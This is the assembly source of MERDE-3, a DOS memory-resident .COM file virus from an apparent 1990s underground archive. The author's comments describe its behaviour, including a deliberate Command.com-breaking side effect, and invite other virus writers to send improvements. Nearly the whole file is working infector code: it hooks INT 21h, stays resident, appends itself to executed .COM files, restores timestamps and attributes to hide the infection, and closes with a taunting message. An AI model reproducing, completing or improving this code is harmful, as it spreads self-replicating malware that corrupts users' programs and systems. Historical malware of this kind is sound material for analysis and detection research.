Underground/Underground CD1.iso/virii/zrodla/m/merde-3.asm

Assembly Source File | 1998-01-14 | 7.6 KB | 405 lines

;  MERDE-3:   A resident, non-overwriting .Com infector by the loki-nator



;Well, here it is, for what it's worth..  It is really kind of a

;piece of crap, but it is just a rough draft..

;NOTES:

;  If this gets into Command.Com, it (command) won't work for unknown reasons..

;  I could have fixed it by just checking to make sure the file it is infecting

;  isn't command.com, but I decided that this would be it's harmful side effect

;  and left it...  I will have to fix several things in it, like its memory

;  handling, etc... It only infects files when they are loaded for EXECUTION!

;  it won't infect .com files loaded by debug via AX=4b03, or al=anything

;  except 00.... Also, it hooks int 71 for its own type of multiplex

;  interrupt to check if the resident portion is already installed..

;  I don't know if that will get me in trouble or not.  This is not very well

;  tested, so it may hand under some circumstances or ill-behaved programs

;  that mess with the memory (like I did)...  Well, I need to add .exe

;  infection, or I will be just a wanna-be virus writer!

;  At this very moment, I will probably modify it for infection of any function

;  that gives INT 21 a DS:DX pointer to a com file.

;  Oh, yeah- If you compile it, you have to run the included Maker.bat file

;  after you have compiled it (Use Tasm, but I guess anything will work.)



;  Any GOOD virus writers out there will obviously notice how inefficient this

;  is, so if you do, leave me mail with some pointers....



compare_val    equ    900

interrupt    equ    21h

Code_seg    Segment Byte

    Assume DS:Code_seg, CS:Code_seg

    ORG 100h

start:    mov    di,0100h            ;di=start

    mov    si,bx

    add    si,offset five_bytes-100h

    mov    cx,5

    rep    movsb

    int    71h

    cmp    ax,9999h

    jne    okay

    mov    ax,0100h

    xor    si,si

    xor    si,di

    xor    cx,cx

    jmp    ax

okay:    mov    di,bx

    sub    di,100h

    xor    ax,ax

    mov    es,ax

    mov    ax,es:[interrupt*4]

    mov    bx,es:[interrupt*4+2]

    mov    [di+int_21_saveo],ax

    mov    [di+int_21_saves],bx

    push    cs

    pop    es

    mov    [di+orig_stackp],sp

    cli

    mov    sp,di

    add    sp,offset my_stack

    sti

    push    ax

    push    bx

    push    cx

    push    dx

    push    bp

    push    ds

    push    es

    push    si

    push    di

    mov    [di+my_stack_save],sp

    cli

    mov    sp,[di+orig_stackp]

    sti

    int    12h

    mov    bx,cs

    mov    cx,1024

    mul    cx

    clc

    mov    cx,400h

    sub    ax,cx

    sbb    dx,0000            ;dx:ax=where we want this mem to end!

    mov    [di+high_ram],dx

    mov    [di+low_ram],ax

here:    mov    cx,cs

    mov    ax,0010h

    mul    cx

    clc

    mov    cx,di

    add    cx,offset ending

    add    ax,cx

    adc    dx,0000

    clc

    sub    [di+low_ram],ax

    sbb    [di+high_ram],dx

    clc

    mov    ax,[di+low_ram]

    mov    dx,[di+high_ram]

    mov    cx,0010h

    div    cx        ;dx:ax=memory above this-divide it by 16

    mov    bx,ax

    mov    ah,4ah

    int    21h

    jnc    okay_1

    jmp    get_out

okay_1:    mov    ah,48h

    mov    bx,60h

    int    21h

    mov    [my_segment+di],ax

    jnc    okay_2

    jmp    get_out

okay_2:    push    di

    xor    di,di

    xor    si,si

    mov    es,ax

    mov    cx,100h

    rep    movsb

    pop    si

    push    si

    add    si,100h

    mov    cx,offset ending-100h

    rep    movsb

    pop    di

    mov    dx,es

    sub    dx,1

    mov    es,dx

    mov    es:[1],ax

    mov    byte ptr es:[0],'Z'

    mov    word ptr es:[3],0000

    mov    es,ax

    mov    es:[16h],ds

    mov    ax,offset return_to_file

    add    ax,di

    mov    es:[0ah],ax

    mov    es:[0ch],ds

    mov    ah,50h

    mov    bx,es

    int    21h

    mov    dx,600h

    mov    ax,es

    mov    ds,ax

    mov    es,ax

    push    cs

    pop    ss

    mov    word ptr cs:[return_to_file+di+1],di

    mov    sp,600h

    int    27h

return_to_file:

    mov    di,0000

    xor    ax,ax

    mov    es,ax

    mov    bx,offset my_21

    mov    ax,cs:[di+my_segment]

    mov    word ptr es:[interrupt*4],bx

    mov    word ptr es:[interrupt*4+2],ax

    mov    word ptr es:[71h*4+2],ax

    mov    bx,offset my_71

    mov    word ptr es:[71h*4],bx

    mov    ax,cs

    cli

    mov    ss,ax

    mov    sp,cs:[my_stack_save+di]

    sti

    pop    di

    pop    si

    pop    es

    pop    ds

    pop    bp

    pop    dx

    pop    cx

    pop    bx

    pop    ax

    cli

    mov    sp,cs:[di+orig_stackp]

    sti

    mov    ax,0100h

    jmp    ax

get_out:

    mov    ax,cs

    cli

    mov    ss,ax

    mov    sp,cs:[di+my_stack_save]

    sti

    pop    di

    pop    si

    pop    es

    pop    ds

    pop    bp

    pop    dx

    pop    cx

    pop    bx

    pop    ax

    cli

    mov    sp,cs:[di+orig_stackp]

    sti

    mov    ax,0100h

    jmp    ax





;------------------------------------------------------------------



my_21:

    cmp    ah,4bh

    je    continue_with_it

    jmp    continue_21

continue_with_it:

    cmp    al,00

    je    okay_go

    jmp    continue_21

okay_go:

    push    ax

    push    bx

    push    cx

    push    dx

    push    es

    push    di

    push    si

    push    bp

    push    es

    push    ds

check_file:

    mov    bx,dx

    xor    si,si

looper:

    cmp    byte ptr ds:[bx+si],'.'

    je    check_com

    cmp    si,35

    jle    okay5

    jmp    give_up1

okay5:    inc    si

    jmp    looper

check_com:

    inc    si

    cmp    byte ptr ds:[bx+si],'c'

    je    check_for_infection

    cmp    byte ptr ds:[bx+si],'C'

    je    check_for_infection

    jmp    give_up1

check_for_infection:

    mov    cs:[high_file],ds

    mov    cs:[low_file],dx

    mov    ah,50h        ;set PSP to ours

    push    cs

    pop    bx

    call    dos_21

    mov    ah,43h

    xor    al,al

    call    dos_21

    jnc    okay9

    jmp    give_up

okay9:    mov    cs:[attrib],cx

    mov    ah,43h

    mov    al,1

    xor    cx,cx

    call    dos_21

    mov    ah,3dh

    mov    al,2

    call    dos_21

    jnc    okay10

    jmp    give_up

okay10:    mov    cs:[handle],ax

    mov    bx,ax

    mov    ah,57h

    xor    al,al

    call    dos_21

    mov    cs:[date],dx

    mov    cs:[time],cx

    mov    al,2

    mov    ah,42h

    xor    dx,dx

    xor    cx,cx

    call    dos_21

    jnc    okay11

    jmp    give_up

okay11:    cmp    dx,0

    je    okay12

    jmp    give_up

okay12:    mov    cs:[file_size],ax

    cmp    ax,64000

    jb    contin1

    call    reset_all

    jmp    give_up

contin1:

    cmp    ax,1024

    jnb    contin2

    call    reset_all

    jmp    give_up

contin2:

    sub    ax,compare_val

    mov    dx,ax

    xor    cx,cx

    mov    ah,42h

    xor    al,al

    mov    bx,cs:[handle]

    call    dos_21

    mov    ah,3fh

    push    cs

    pop    ds

    mov    dx,offset buffer

    mov    cx,2

    call    dos_21

    mov    ax,word ptr cs:[buffer]

    mov    bx,word ptr cs:[offset ending-compare_val]

    cmp    ax,bx

    jne    infect_it

    call    reset_all

    jmp    give_up

infect_it:

    xor    cx,cx

    xor    dx,dx

    mov    bx,cs:[handle]

    mov    ax,4200h

    call    dos_21

    mov    ah,3fh

    mov    cx,5

    push    cs

    pop    ds

    mov    dx,offset five_bytes

    call    dos_21

    mov    ax,4202h

    xor    cx,cx

    xor    dx,dx

    call    dos_21

    mov    ax,cs:[file_size]

    add    ax,100h

    mov    word ptr cs:[jumper+1],ax

    mov    ah,40h

    mov    cx,offset ending-100h

    mov    dx,0100h

    call    dos_21

    xor    cx,cx

    xor    dx,dx

    mov    ax,4200h

    mov    bx,cs:[handle]

    call    dos_21

    mov    dx,offset jumper

    mov    ah,40h

    mov    cx,5

    call    dos_21

    call    reset_all

give_up:

    mov    ah,50h

    mov    bx,cs:[high_file]

    call    dos_21

give_up1:

    pop    ds

    pop    es

    pop    bp

    pop    si

    pop    di

    pop    es

    pop    dx

    pop    cx

    pop    bx

    pop    ax

    jmp    continue_21

continue_21:

    jmp    dword ptr cs:[int_21_saveo]

dos_21:

    pushf

    call    dword ptr cs:[int_21_saveo]

    ret



reset_all:

    mov    bx,cs:[handle]

    mov    cx,cs:[time]

    mov    dx,cs:[date]

    mov    ax,5701h

    call    dos_21

    mov    ah,3eh

    mov    bx,cs:[handle]

    call    dos_21

    mov    ah,43h

    mov    al,1

    mov    cx,cs:[attrib]

    mov    ds,cs:[high_file]

    mov    dx,cs:[low_file]

    call    dos_21

    ret

my_71:

    mov    ax,9999h

    iret

dw    44 dup(00)

my_stack:

jumper:        mov    bx,0000

        jmp    bx

file_size    dw    0000

high_file    dw    0000

low_file    dw    0000

handle        dw    0000

attrib        dw    0000

date        dw    0000

time        dw    0000

int_21_saveo    dw    0000

int_21_saves    dw    0000

orig_stackp    dw    0000

my_stack_save    dw    0000

high_ram    dw    0000

low_ram        dw    0000

my_segment    dw    0000

buffer:        db    10 dup(00)

five_bytes:    db    0cdh,20h,90h,90h,90h

my_little_message_to_the_world:



    db    'Scan me, I LIKE IT!!!!-Loki-nator!'

ending:

Code_seg     ENDS

END    start